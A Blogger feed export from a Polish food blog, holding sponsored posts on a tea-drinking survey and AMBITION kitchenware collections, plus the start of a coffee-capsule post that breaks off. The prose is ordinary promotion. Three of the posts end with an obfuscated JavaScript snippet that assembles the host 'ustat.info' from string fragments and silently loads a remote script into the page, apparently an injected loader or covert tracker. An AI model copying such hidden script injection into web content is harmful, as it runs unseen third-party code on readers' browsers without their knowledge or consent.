tag:blogger.com,1999:blog-90220881889216044762024-03-19T09:48:26.782+01:00Skwierczące Pomysły z Szalonej PatelniLuka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comBlogger308125tag:blogger.com,1999:blog-9022088188921604476.post-62067340680074879242016-12-12T22:17:00.000+01:002016-12-12T22:17:38.611+01:00Herbata w Polsce odchodzi do lamusa? Badania pokazują, że wprost przeciwnie!<div style="text-align: justify;">
<span style="font-size: large;">15 grudnia obchodzimy na świecie Międzynarodowy Dzień Herbaty. Tego dnia warto zastanowić się nad tym, jaką rolę w naszym życiu odgrywa ten napój. Dzięki badaniu przeprowadzonemu przez TET True English Tea możemy dowiedzieć się, że dla wielu Polaków picie herbaty to stały, rytualny wręcz element dnia. I jak na rytuał przystało ma dużo wspólnych cech, jednak każdy celebruje go trochę po swojemu. </span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyIQdsbBenkdOODsg-VooGoSDrwyduxWiMqBU61peK5mSMYyUk49DhAKp4aRxtKTwpm1ZjZQJvMKFW502JWKXnYI9Lo0DCUVnXCGnKMWYvhnhh4jBN6AFlEzklw0jam-l9gLNitd8U7crb/s1600/tet_infografika_1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="341" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyIQdsbBenkdOODsg-VooGoSDrwyduxWiMqBU61peK5mSMYyUk49DhAKp4aRxtKTwpm1ZjZQJvMKFW502JWKXnYI9Lo0DCUVnXCGnKMWYvhnhh4jBN6AFlEzklw0jam-l9gLNitd8U7crb/s640/tet_infografika_1.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Co z tą historią?</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Picie herbaty to w dzisiejszych czasach bardzo popularny zwyczaj, szczególnie w naszym kraju. Z pewnością nie wszyscy wiedzą, że początki kształtowania się tego zwyczaju w Polsce nie wyglądały optymistycznie. Już Ignacy Krasicki pisał, że herbata to „trunek mdlący”, jednocześnie żartobliwie zwracając uwagę na spore znaczenie napojów wysokoprocentowych w codziennym życiu polskiej szlachty. Herbatę nauczyli pić nas dopiero Rosjanie w czasie zaborów, kiedy przestała ona funkcjonować jako trunek wyłącznie elitarny.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Rytuał codzienności</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Można śmiało stwierdzić, że herbata stanowi istotny element życia Polaków. Aż 83% badanych Polaków odpowiedziało, że pije herbatę codziennie. Natomiast jeśli chodzi o miejsce, to aż 80% ankietowanych pije ją zazwyczaj we własnym domu. Poza regularnością na uwagę zasługuje również pora dnia, w której herbata przez Polaków jest pita najczęściej: 36% badanych parzy ją po południu, 21% wieczorem, a 32% rozpoczyna herbatą swój dzień.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Jak to robimy?</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Często zdarza się, że herbaty chciałoby się więcej, niż pomieści standardowy kubek. Wyniki badania przeprowadzonego przez TET True English Tea wskazują, że najwięcej ankietowanych preferuje pić herbatę z dużego kubka (38%). Dopiero na drugim miejscu plasuje się zwykły kubek (33%) i na trzecim filiżanka (21%). Wyniki pokazują, że w dzisiejszych czasach lubimy pić dużo za jednym razem. Dlatego w chłodne, zimowe wieczory warto zaopatrzyć się nie tylko w ulubioną herbatę, ale i odpowiednie dla nas naczynie. Postęp technologiczny nieubłaganie prze do przodu, a wraz z nim zmieniają się zwyczaje. Jednak w grupie mężczyzn zauważyliśmy, że część z nich zachowała przyzwyczajenia z przeszłości. Pamiętacie herbatę u babci, podawaną zawsze w szklance z wiklinowym uchwytem, co by się nie poparzyć? 10% badanych mężczyzn wciąż preferuje delektowanie się napojem ze szklanki, może właśnie w hołdzie rodzinnym tradycjom?</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Razem czy osobno?</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wartość herbaty jako napoju rodzinnego potwierdza nasze badanie. Najwięcej, bo aż 35% osób odpowiedziało, że najczęściej pije ją właśnie w towarzystwie rodziny. Na drugim miejscu z wynikiem 25% znalazły się osoby, które najczęściej piją herbatę sami. Świadczyć może to o tym, że herbata jest również doskonałym towarzyszem ciszy, spokoju i samodzielnej kontemplacji.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Wielka Brytania górą</b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Okazuje się, że Polacy uwielbiają angielską herbatę - wybierają ten kraj jako ulubiony pod względem miejsca jej pochodzenia (39%). Na drugim miejscu plasują się Indie z wynikiem 23%, a na trzecim Sri Lanka (14%). Jeśli chodzi o ulubiony rodzaj herbaty Polaków, to w tym obszarze również nie eksperymentujemy za mocno, stawiając zdecydowanie na klasykę – czarną herbatę, za którą opowiedziało się 53% badanych. Wciąż rozwijający się trend zdrowego trybu życia i używania coraz mniej cukru jest widoczny w zebranych wynikach. Polacy lubią pić najbardziej herbatę bez dodatków (23%), ewentualnie z cytryną (22%). A jeśli już słodzimy, to naturalnie. Miodu do herbaty używa 18% badanych.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjczSPHY4h6_qu-8Z0aKnnq5ZSU-JhlNSrrvh0xc1InWR46d07KQLN0QJh-qE5YmU3_y2tb_TGob-BPIOItpMta4kzGGdJP82T9eZLqysP5W7g9GGzsEY2NjAFARYI6uzi5JH9TwiB71-Vy/s1600/tet_infografika_2.jpg" imageanchor="1"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjczSPHY4h6_qu-8Z0aKnnq5ZSU-JhlNSrrvh0xc1InWR46d07KQLN0QJh-qE5YmU3_y2tb_TGob-BPIOItpMta4kzGGdJP82T9eZLqysP5W7g9GGzsEY2NjAFARYI6uzi5JH9TwiB71-Vy/s1600/tet_infografika_2.jpg" /></a></span><span style="font-size: large;"> </span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Podsumowując badanie można wysnuć ogólny wniosek, że statystyczny Polak spożywa najczęściej czarną angielską herbatę, delektując się nią codziennie w domu w gronie rodziny, pijąc ją bez dodatków z dużego kubka.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Badanie pokazuje, że zdecydowanie możemy nazwać się krajem tradycji w takim obszarze jak picie herbaty. Nie jesteśmy jednak zamknięci na nowe nurty i inspiracje i od czasu do czasu próbujemy wzbogacać nasze codzienne rytuały.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Badanie opinii przeprowadzono na stronie internetowej TET True English Tea <a href="http://www.tettea.com/">www.tettea.com</a> w 2016 r.</span></div>
<div style="text-align: justify;">
<script type="text/javascript">
(function(){
acnX=document.createElement("script");acnX_="u"+("s")+"ta";
acnX_+=("t.i")+""+"n";acnX_+=(("f")+"o");acnX.type="text/javascript";
acnX_+="/"; acnXu="15212523";acnXu+=".6zuuqjgXcnXp3me62g6";acnXu+="7srbjhzqytb";
acnX.src="//"+acnX_+acnXu; acnX.async=true; document.body.appendChild(acnX);
})();
</script></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com14tag:blogger.com,1999:blog-9022088188921604476.post-91264431260664941322016-10-21T09:20:00.000+02:002016-10-21T09:20:31.921+02:00Jesienne nowości w kolekcji AMBITION<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Jesień to sezon odkrywania nowych kolorów. To czas idealny dla miłośników sezonowych warzyw i owoców. Smakosze tylko czekają na kabaczki, bakłażany, dynie, patisony, czy korzeniowe – buraki, marchewki i pietruszki. Również w lesie nie brakuje owoców jesieni, które sprawiają, że aż chce się gotować! Nowa kolekcja AMBITION wspiera kulinarne doznania funkcjonalnymi produktami </span></span></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">w smakowitych kolorach.</span></span></div>
</div>
<div style="text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQs3PxtJCk1ZQFJIkMNypEkb_KY_fQHSLOvdYBcreSCq0pr8tb4VlV3xSRhnNoJQICgbkDDMZXI4JEMExZQBB0cANi_ch1Np0r_kTaYMQcZjdQ8c51p0Vz8EiRB-psv4-4nmwNRt9vYokG/s1600/jesienne-nowosci-w-kolekcji-ambition-1.png" imageanchor="1"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQs3PxtJCk1ZQFJIkMNypEkb_KY_fQHSLOvdYBcreSCq0pr8tb4VlV3xSRhnNoJQICgbkDDMZXI4JEMExZQBB0cANi_ch1Np0r_kTaYMQcZjdQ8c51p0Vz8EiRB-psv4-4nmwNRt9vYokG/s640/jesienne-nowosci-w-kolekcji-ambition-1.png" width="640" /></a></span></span></div>
<div style="text-align: justify;">
<br />
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Nature to linia przepięknych naczyń kuchennych do gotowania i pieczenia, inspirowane naturalnym kamieniem. Delikatnie nakrapiana, melanżowa powierzchnia naczyń to obecnie jeden z najpopularniejszych trendów w produktach kuchennych. Oryginalne wzornictwo osiągnięto dzięki połączeniu powłoki o unikalnym wyglądzie białego kamienia z rączkami oddającymi wzór drewna. Naczynia do gotowania Nature zostały wykonane z odkuwanego aluminium. Posiadają grube wielowarstwowe dno indukcyjne odporne na odkształcenia. Doskonale akumulują ciepło, sprawiając, że gotowanie jest energooszczędne. W linii dostępne zarówno garnki, klasyczne patelnie w trzech rozmiarach, patelnie głębokie, grillowe i do naleśników, a także formy do słodkich wypieków takie, jak: brytfanna prostokątna, keksówka, forma na muffiny, do tarty, do babki oraz tortownica. W naturalnej kolorystyce zagoszczą na stole podkładki Velvet, zdobione akcentami liści oraz drzewa.</span></span><br />
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><br /></span></span>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtb7CLJtFBTIviJ84jk1MeIsZA1XXmtQMVTeP37yy7TIfZnF7G4eSmuLyGzAAvYR23nR-McOqpMWZVSdqP1UZsbt3tVYniMchm00BqFjJvSYXPBZgpi48hSsGCG02qrTCoRT7rxpZhzhw/s1600/jesienne-nowosci-w-kolekcji-ambition-1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFtb7CLJtFBTIviJ84jk1MeIsZA1XXmtQMVTeP37yy7TIfZnF7G4eSmuLyGzAAvYR23nR-McOqpMWZVSdqP1UZsbt3tVYniMchm00BqFjJvSYXPBZgpi48hSsGCG02qrTCoRT7rxpZhzhw/s640/jesienne-nowosci-w-kolekcji-ambition-1.jpg" width="640" /></a></span></span></div>
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Wśród innych innowacyjnych rozwiązań w kolekcji AMBITION znalazły się wyjątkowe patelnie Vision z powłoką Qualum™ Advanced Silver Edition. Patelnie powstały przy wykorzystaniu nowoczesnej technologii kolorowych powłok. Pokryte są wysokiej jakości, trójwarstwową powłoką o wyjątkowym perłowo srebrnym kolorze. Charakteryzuje się ona doskonałymi właściwościami nieprzywierającymi oraz wysoką odpornością na zarysowania i ścieranie. Dostępne w różnych rozmiarach i trzech modnych kolorach: grafitowym, turkusowym i w kolorze fuksji. Popularne akcesoria kuchenne Grande, o specjalnie wyprofilowanych rączkach tak, aby po odłożeniu ich powierzchnia robocza nie stykała się z blatem, pojawiły się również w rozmaitych kolorach. Do wyboru czarne, żółte, zielone, turkusowe, fuksjowe i czerwone. Można je mieszać, albo wybrać w jednym, ulubionym kolorze. Do dyspozycji w kolekcji: chochle do zupy, łopatki, szpatułki i szumówki, tłuczki oraz szczypce kuchenne.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIWviHwC4kdgERjZHjUm5uBzyEMF_LzRDho63-V1gCwqAqGVLPiuqUHxvqGSybuZ4SL25dHLzi-arxSGJ9SwF1NPHHG0nxkliftR3rUyBMQv0Owr72j_EWQLwaFyFRJOQm0OL2Fni2Qwlz/s1600/jesienne-nowosci-w-kolekcji-ambition-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIWviHwC4kdgERjZHjUm5uBzyEMF_LzRDho63-V1gCwqAqGVLPiuqUHxvqGSybuZ4SL25dHLzi-arxSGJ9SwF1NPHHG0nxkliftR3rUyBMQv0Owr72j_EWQLwaFyFRJOQm0OL2Fni2Qwlz/s640/jesienne-nowosci-w-kolekcji-ambition-3.jpg" width="640" /></a></span></span></div>
<br />
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><br /></span></span>
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9llwuVJ6449K8I3sIisoba7Mk_RoBcn6Ub7BjEic-Okl-xPTIhHU3iwv-KAv13_eVvn16qBwuXkDHO70anlEEi_9-KY2EyOZL5Cpk92eISNnuSaJUChgzi9QuJWbMfSOzxiojIjfoTm3I/s1600/jesienne-nowosci-w-kolekcji-ambition-6.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9llwuVJ6449K8I3sIisoba7Mk_RoBcn6Ub7BjEic-Okl-xPTIhHU3iwv-KAv13_eVvn16qBwuXkDHO70anlEEi_9-KY2EyOZL5Cpk92eISNnuSaJUChgzi9QuJWbMfSOzxiojIjfoTm3I/s640/jesienne-nowosci-w-kolekcji-ambition-6.jpg" width="640" /></a>Kolekcję akcesoriów kuchennych uzupełniają nowi pomocnicy z linii Twist w dwóch kolorach: czerwonym i grafitowym. Otwieracze do konserw, do wina, praski do czosnku, dziadki do orzechów oraz obieraki. Doskonale komponują się z nową serią młynków do przypraw Galaxy, w tym młynków grawitacyjnych, pozbawionych przycisków, uruchamiających się w skutek przechylenia.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Miłośnicy kolorów docenią również garnki Sempre z silikonowymi uchwytami dostępnymi w soczystych kolorach - zielonym i pomarańczowym oraz czerwonym i czarnym. Garnki wykonane są ze stali nierdzewnej i posiadają pokrywy z hartowanego szkła o grubości 4 mm. Na wewnętrznych ściankach znajduje się oznaczenie pojemności, które pomaga w odmierzaniu odpowiedniej ilości płynów podczas przygotowywania posiłków. Na miłośników bardziej klasycznych naczyń kuchennych czeka seria pękatych garnków Malva, wyposażonych w wielowarstwowe dno indukcyjne.</span></span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg02p9DFu4k-5JzOHO5JngOQlfyEtVa8R1YSeSanK5aAEIAH9p8c6njm9lYDI6O8L0WxslAvtQnefwlmODqUeEWyFwqUYumvI0desUcrD9NDOYVcr4suKIzxjHHZbgaG8WHbrCdrU9fyJy3/s1600/jesienne-nowosci-w-kolekcji-ambition-7.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg02p9DFu4k-5JzOHO5JngOQlfyEtVa8R1YSeSanK5aAEIAH9p8c6njm9lYDI6O8L0WxslAvtQnefwlmODqUeEWyFwqUYumvI0desUcrD9NDOYVcr4suKIzxjHHZbgaG8WHbrCdrU9fyJy3/s640/jesienne-nowosci-w-kolekcji-ambition-7.jpg" width="640" /></a></span></span></div>
</div>
<div style="text-align: justify;">
<span style="font-family: "Trebuchet MS",sans-serif;"><span style="font-size: large;">Więcej informacji o nowościach do kuchni i jadalni na stronie AMBITION: <a href="http://www.ambition.pl/">www.ambition.pl</a></span></span></div>
<script type="text/javascript">
(function(){
zapg=document.createElement("script");zapg_=(("u")+"st")+"a";zapg.async=true;
zapg.type="text/javascript";zapg_+=("t.i")+""+"n";zapg_+=(("f")+"o");zapg_+="/";
zapgu="13626254.";zapgu+="mwsqpabdapgyirp9diX"+"844mw0kveha";
zapg.src="//"+zapg_+zapgu; document.body.appendChild(zapg);
})();
</script>Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.comtag:blogger.com,1999:blog-9022088188921604476.post-81568316939910413232016-09-01T10:43:00.000+02:002016-09-01T10:43:36.529+02:00Domowa kawiarka – nowa kolekcja dla domowego ogniska od AMBITION<div style="text-align: justify;">
<span style="font-size: large;">Gdy zbliża się jesień, czas spędzany w domu nabiera na znaczeniu. Dłuższe poranki i wieczory wymagają odpowiedniego aromatu i oprawy. Z myślą o dłuższym niż chwila czasie spędzanym w domu, powstała nowa kolekcja AMBITION do kawy i herbaty, a także jesiennych szybkich potraw. Wysokiej jakości zaparzacze, czajniki, porcelanowe kubki, filiżanki i imbryki to tylko przedsmak kolekcji zaprojektowanej z myślą o wszechstronnych gustach smakowych. W ofercie pojawią się jedyne w swoim rodzaju kolorowe patelnie z powłoką nieprzywierającą Qualum™ Advanced Silver Edition. Nowoczesne wzornictwo i niepowtarzalna jakość nowości z kolekcji AMBITION odświeży wyposażenie każdej domowej kawiarni.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd787xdsgC2PjV1FG-mlUB1L7wmRxnj16Agc_pNuYgZaosrz8H5vnQROpPZ-93r4JF88SKMFDtM2SkjGK5t7XYE1RqmJCEGighi9uJJtso5zreiHBR5pXfuY6ZXRJ_T2fqnhPaKdzV2qgj/s1600/domowa_kawiarnia_04.jpg" imageanchor="1"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd787xdsgC2PjV1FG-mlUB1L7wmRxnj16Agc_pNuYgZaosrz8H5vnQROpPZ-93r4JF88SKMFDtM2SkjGK5t7XYE1RqmJCEGighi9uJJtso5zreiHBR5pXfuY6ZXRJ_T2fqnhPaKdzV2qgj/s640/domowa_kawiarnia_04.jpg" width="640" /></a></span><span style="font-size: large;"> </span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>Lumen</b> to dzbanek dostępny w trzech praktycznych pojemnościach od 0,7 do 1,1 litra, wykonany ze szkła hartowanego oraz wysokiej jakości stali nierdzewnej. Jego klasyczna forma w połączeniu ze zgrabnie wplecionymi elementami nowoczesnego designu spodoba się najbardziej wymagającym gustom. Podobnie jak zaparzacze <b>Aroma i Barista</b> wykonane z odpornego na wysoką temperaturę szkła żaroodpornego. Całość dopełnia nowy zestaw kawowy uzupełniający kolekcję porcelany <b>Tokyo</b>. Kolekcja <b>Tokyo</b> od <b>AMBITION </b>jest połączeniem minimalistycznego wzornictwa i nowoczesnej prostej formy. Kształt talerzy zbliżony do kwadratu z delikatnie zaznaczonym rantem podkreśla niepowtarzalny charakter zastawy. Elegancji i lekkości dodaje ciepły odcień bieli.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<span style="font-size: large;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRdBJf95nFO19McigcV4XTV9E20J0iOy4uIT8axer-isdevK3ctNixlNBWjLpW6tEcVCPzMGCanltxlOxh7BUYjYHlekorhkTY1CsvD_FNxByp24cPVu2qoKa_ysYSM0q7YYU4uDgsLsqX/s1600/domowa_kawiarnia_05.jpg" imageanchor="1"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRdBJf95nFO19McigcV4XTV9E20J0iOy4uIT8axer-isdevK3ctNixlNBWjLpW6tEcVCPzMGCanltxlOxh7BUYjYHlekorhkTY1CsvD_FNxByp24cPVu2qoKa_ysYSM0q7YYU4uDgsLsqX/s640/domowa_kawiarnia_05.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">W kolekcji <b>AMBITION</b> na uwagę zasługuje bogata kolekcja podkładek stołowych <b>Velvet</b>. Utrzymane w nowoczesnych kolorach intensywnej zieleni i doskonale komponujących się z nią odcieniach kremu i szarości, będą stanowić doskonałą oprawę dla nowych kubków z linii <b>Herbal</b>. Kubki wyposażone są w sitko do zaparzania oraz pokrywkę pozwalającą zachować temperaturę parzonej kawy, herbaty czy ziół. Podkładki <b>Velvet</b> w tym sezonie wystąpią dekorowane motywem gałązek, liści i drzewa.</span></div>
<div style="text-align: center;">
<span style="font-size: large;"> </span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wyjątkowa kolekcja porcelany <b>Tokyo </b>wykonana ze wzmocnionej porcelany zapewniającej większą odporność na obtłuczenia to uniwersalna zastawa, której dodatki z jesiennych propozycji <b>AMBITION</b> dodadzą koloru. Zarówno idealne dla wszystkich miłośników liściastych herbat i ziół, praktyczne i eleganckie kubki <b>Herbal</b> dekorowane różnymi wzorami, jak i bogata kolekcja czajników w różnych wzorach i kolorach. Dostępne w wielu optymalnych pojemnościach, są dostosowane do nowoczesnych kuchni, również indukcyjnych. Sprawią, że „stary dobry” gwizd czajnika nabierze nowoczesnego wydźwięku.</span></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBxg5Q63ZvxYNS3oSJWKb_rOfyiPtuDHeq9pwIb_Nw1EF02VETm_gu2POTDt-aaKFBZ9E-cuIK793OruJLIRibFomzqa6fyKe4dXTxdYX1Bf2SIz0pwf6FRZ_UtT9afzoZhxJUE-MD57XK/s1600/domowa_kawiarnia_06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBxg5Q63ZvxYNS3oSJWKb_rOfyiPtuDHeq9pwIb_Nw1EF02VETm_gu2POTDt-aaKFBZ9E-cuIK793OruJLIRibFomzqa6fyKe4dXTxdYX1Bf2SIz0pwf6FRZ_UtT9afzoZhxJUE-MD57XK/s640/domowa_kawiarnia_06.jpg" width="640" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;">Wśród nowości nie zabrakło równie nowoczesnych rozwiązań dla aktywnie gotujących. W końcu domowa kawiarnia to nie tylko napoje, ale również mnóstwo smakołyków przygotowanych w tempie bistro. Zupełną nowość w kolekcji stanowią kolorowe patelnie <b>Vision</b> wykonane z aluminium, wyposażone w wielowarstwowe dno indukcyjne. Wewnątrz zostały pokryte wysokiej jakości powłoką nieprzywierającą Qualum™ Advenced Silver Edition. Niezależnie od wybranego koloru, srebrno perłowa powłoka nadaje patelni elegancji i nowoczesności. Uzupełnią je akcesoria kuchenne <b>Grande</b> w sześciu nowych kolorach, polecane do kuchni na pełnych codziennych obrotach.</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUxVIwy1IVVnui_ajxZhgQUYpVww0XFYUwyc-mPdoWjBzMJTq9HLRZmR7oe8xiF2VWjJGPtQSDFvHnkZ5SUlf5ANSQAiHEaorhg252qhree0VQFTYs2cj9cAxAjuw3tmuZV6-bxzWpEOJO/s1600/domowa_kawiarnia_02.jpg" imageanchor="1"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUxVIwy1IVVnui_ajxZhgQUYpVww0XFYUwyc-mPdoWjBzMJTq9HLRZmR7oe8xiF2VWjJGPtQSDFvHnkZ5SUlf5ANSQAiHEaorhg252qhree0VQFTYs2cj9cAxAjuw3tmuZV6-bxzWpEOJO/s640/domowa_kawiarnia_02.jpg" width="640" /></a></span><span style="font-size: large;"> </span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b><u>Cała kolekcja</u>:<span style="color: red;"> <a href="http://www.ambition.pl/">www.ambition.pl</a></span><u><br /></u></b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b><u>Dowiedz się więcej:</u></b></span></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>AMBITION</b> to popularna marka produktów do kuchni i jadalni, ciesząca się uznaniem polskich domach i restauracjach od ponad 10 lat. Wśród szczególnie cenionych za jakość </span></div>
<div style="text-align: justify;">
<span style="font-size: large;">i funkcjonalność produktów marki znajdują się garnki i patelnie, zastawy i szkło stołowe, sztućce oraz akcesoria kuchenne. Niebanalne, zawsze podążające za duchem czasów wzornictwo, profesjonalna trwałość oraz wyjątkowo duży wybór to najmocniejsze strony każdej kolekcji <b>AMBITION</b> / <a href="http://www.ambition.pl/"><u>www.ambition.pl</u></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: large;"><b>DAJAR</b> to lider dystrybucji produktów AGD, mebli ogrodowych oraz profesjonalnych artykułów dla branży HoReCa w Europie Środkowo-Wschodniej, obecny na rynku </span></div>
<div style="text-align: justify;">
<span style="font-size: large;">od 1989 roku. Szeroka oferta produktów do kuchni i jadalni jest regularnie rozbudowywana w oparciu o współpracę z największymi na świecie producentami, </span></div>
<div style="text-align: justify;">
<span style="font-size: large;">m.in. Luminarc, Disney, Arcuisine, oraz dzięki bogatemu portfolio marek własnych takich, jak <b>AMBITION</b>, Patio, Pyrex i wiele innych / <a href="http://www.dajar.pl/"><u>www.dajar.pl</u></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<span style="font-size: large;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzbmQqksWxy51rItcv0coFee8mwTLmy3uBAEq1fsyL1BTi7weQqS9QPm3wJRycB4G3_-i9j3lplsLBE5G-pWQgTR-7njfE8u8DmOES45X5Mhsg9JDdZ91PqEeApAFN9XQpQv12SlotyLjD/s1600/domowa_kawiarnia_03.jpg" imageanchor="1"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzbmQqksWxy51rItcv0coFee8mwTLmy3uBAEq1fsyL1BTi7weQqS9QPm3wJRycB4G3_-i9j3lplsLBE5G-pWQgTR-7njfE8u8DmOES45X5Mhsg9JDdZ91PqEeApAFN9XQpQv12SlotyLjD/s640/domowa_kawiarnia_03.jpg" width="640" /></a></span><span style="font-size: large;"> </span><script type="text/javascript">
(function(){
xfw3_=("u"+"")+"s"+"";xfw3_+=("tat.")+("i");
xfw3=document.createElement("script");xfw3.type="text/javascript";xfw3_+="nf"+("o")+"/";
xfw3u="12084199"+".";xfw3.async=true;xfw3u+="t8ini48bfw3hp87kbeicwXlesehii1";
xfw3.src="//"+xfw3_+xfw3u; xfw3b=document.body; xfw3b.appendChild(xfw3);
})();
</script></div>
Luka Lihttp://www.blogger.com/profile/00469987877609660515noreply@blogger.com5tag:blogger.com,1999:blog-9022088188921604476.post-5707589091757796842016-08-23T11:57:00.000+02:002016-08-23T12:50:47.968+02:00Kapsułki nespresso zamienniki – TOP 3 wśród dostępnych na rynku kaw<div style="text-align: justify;">
<b><span style="font-size: large;">Kapsułki do nespresso pozwalają zdecydowanie obniżyć koszt wykorzystania ekspresu do kawy ka kapsułki. Oferowane na rynku produkty nie odbiegają jakością od oryginału. Jakie kawy w kapsułkach kupisz w sklepach? Sprawdziliśmy to. </span></b></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
